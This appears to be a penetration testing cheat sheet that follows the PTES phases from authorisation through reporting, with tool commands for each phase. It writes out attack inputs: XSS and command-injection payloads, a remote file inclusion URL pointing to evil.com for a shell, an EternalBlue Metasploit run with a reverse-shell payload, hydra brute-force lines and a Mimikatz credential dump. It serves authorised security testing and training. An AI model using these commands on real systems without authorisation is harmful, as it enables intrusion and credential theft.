PENETRATION
TESTING GUIDE.

Penetration Testing Methodology (PTES)

The standard approach consists of seven phases. Each phase feeds into the next.

• Phase 1 Pre‑engagement – Scope, rules of engagement, authorisation.
• Phase 2 Reconnaissance – Passive / active info gathering (OSINT, DNS, WHOIS).
• Phase 3 Threat Modelling – Identify assets, threats, attack vectors.
• Phase 4 Vulnerability Analysis – Scanning and manual verification.
• Phase 5 Exploitation – Gain access, privilege escalation.
• Phase 6 Post‑exploitation – Pivot, persist, exfiltrate (with care).
• Phase 7 Reporting – Risk rating, evidence, remediation.

---

Phase 1 – Pre‑engagement

Define scope, obtain written authorisation, agree on testing windows, and establish communication channels.

Key deliverables

• Signed NDA and Rules of Engagement (RoE).
• IP ranges, domains, and application endpoints in scope.
• Exclusion list (e.g., production DBs, critical infrastructure).
• Emergency contacts and escalation procedures.

---

Phase 2 – Reconnaissance (Information Gathering)

Passive Reconnaissance (no direct interaction)

# WHOIS lookup
whois example.com

# DNS enumeration
dig example.com ANY
nslookup example.com
host -t MX example.com

# Subdomain discovery (passive – via OSINT)
sublist3r -d example.com
amass enum -passive -d example.com

# Google dorking examples
site:example.com filetype:pdf
intitle:"index of" /admin
inurl:login

# Shodan / Censys
# Search for open ports, banners, exposed services.

Active Reconnaissance (direct interaction)

# Ping sweep (ICMP)
nmap -sn 192.168.1.0/24

# Port scanning
nmap -sS -T4 -p- 192.168.1.100
nmap -sC -sV -p 22,80,443,3306,8080 target.com

# UDP scanning
nmap -sU -p 53,161,137,123 target.com

---

Phase 3 – Threat Modelling

Map out potential attackers, their goals, and likely attack paths. Use STRIDE or DREAD models.

• STRIDE – Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privilege.
• DREAD – Damage, Reproducibility, Exploitability, Affected Users, Discoverability.

---

Phase 4 – Vulnerability Analysis

Automated Scanning

# Web app scanning (OWASP ZAP)
zap-cli quick-scan --spider -r http://target.com
zap-cli quick-scan --scanners all http://target.com

# Nikto (web server scanner)
nikto -h http://target.com -ssl -o report.html

# Nessus / OpenVAS (network vulnerability scanner)
# Configure a scan policy and run against IP ranges.

# SMB / Windows scanning
enum4linux -a 192.168.1.100
smbclient -L //192.168.1.100

Manual Verification

• Validate false positives from automated tools.
• Test for business logic flaws (e.g., price manipulation, broken auth).
• Check for misconfigurations (SSL/TLS, headers, directory listing).

---

Phase 5 – Exploitation

Web Application

# SQL Injection (sqlmap)
sqlmap -u "http://target.com/page?id=1" --dbs --dump

# XSS payloads
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>

# LFI / RFI
http://target.com/index.php?page=../../etc/passwd
http://target.com/index.php?page=http://evil.com/shell.txt

# Command injection
; ls -la
| whoami

Network / System

# Metasploit (exploit framework)
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

# SSH brute‑force (hydra)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# FTP / Telnet brute‑force
hydra -L users.txt -P pass.txt ftp://192.168.1.100

---

Phase 6 – Post‑Exploitation

Linux

# Current user / privileges
whoami; id; sudo -l

# Network info
ifconfig; ip a; route -n; netstat -tulpn

# Find sensitive files
find / -name "*.conf" -o -name "*.ini" -o -name "*.pem" 2>/dev/null

# Privilege escalation (LinPEAS)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh; ./linpeas.sh

Windows

# System info
systeminfo; whoami /priv; net user

# Network
ipconfig /all; netstat -ano

# Find sensitive files
dir /s *password* *config* *.kdbx

# Privilege escalation (WinPEAS)
winpeas.exe

Pivoting / Lateral Movement

• Use SSH port forwarding: ssh -L 8080:internal:80 user@jumphost
• Proxychains with Metasploit / socat.
• Pass‑the‑hash attacks (Mimikatz).

---

Phase 7 – Reporting

A professional report should include:

• Executive Summary – High‑level, business‑friendly impact.
• Scope – In‑scope assets, time, methodology.
• Findings – Each vulnerability with:
  • Title, CVSS score (severity).
  • Description and proof of concept (screenshots, logs).
  • Impact and remediation steps.
  • References (CWE, OWASP).
• Risk Matrix – Likelihood vs. impact.
• Remediation Roadmap – Prioritised fixes.

---

Essential Tools Reference

Tool	Purpose	Common Command
Nmap	Network scanning	nmap -sV -p- target
Burp Suite	Web proxy / scanner	Intercept & modify HTTP traffic
ZAP	Open‑source web scanner	zap-cli quick-scan
Metasploit	Exploit framework	msfconsole
sqlmap	SQL injection automation	sqlmap -u "url?id=1" --dbs
Hydra	Password brute‑forcing	hydra -l user -P pass.txt target ssh
Wireshark	Traffic analysis	Capture and filter packets
BloodHound	Active Directory enumeration	Collect data via SharpHound
Mimikatz	Credential harvesting	sekurlsa::logonpasswords

---

Common Ports to Check

• 21 – FTP
• 22 – SSH
• 23 – Telnet
• 25 – SMTP
• 53 – DNS
• 80 – HTTP
• 443 – HTTPS
• 445 – SMB
• 1433 – MSSQL
• 3306 – MySQL
• 3389 – RDP
• 5432 – PostgreSQL
• 6379 – Redis
• 27017 – MongoDB

---

OWASP Testing Guide – Key Test Categories

• Information Gathering (config, fingerprinting).
• Configuration and Deploy Management.
• Identity Management (session, auth).
• Authentication and Authorisation.
• Input Validation (SQLi, XSS, command injection).
• Business Logic (workflow bypasses).
• Client‑Side (CORS, Clickjacking, CSRF).
• API Testing (REST / GraphQL).

---

Pentest Checklist (Quick Reference)

• ✔ Obtain written authorisation.
• ✔ Perform passive OSINT (Google, Shodan, LinkedIn).
• ✔ Enumerate subdomains and IP ranges.
• ✔ Run full port scan (TCP/UDP).
• ✔ Fingerprint services and versions (banner grabbing).
• ✔ Scan for known vulnerabilities (Nessus, ZAP).
• ✔ Manually test business logic and auth flows.
• ✔ Exploit confirmed vulnerabilities (prove impact).
• ✔ Escalate privileges and pivot laterally (if authorised).
• ✔ Collect evidence (screenshots, commands, logs).
• ✔ Clean up traces (remove shells, restore configs).
• ✔ Write report with clear remediation guidance.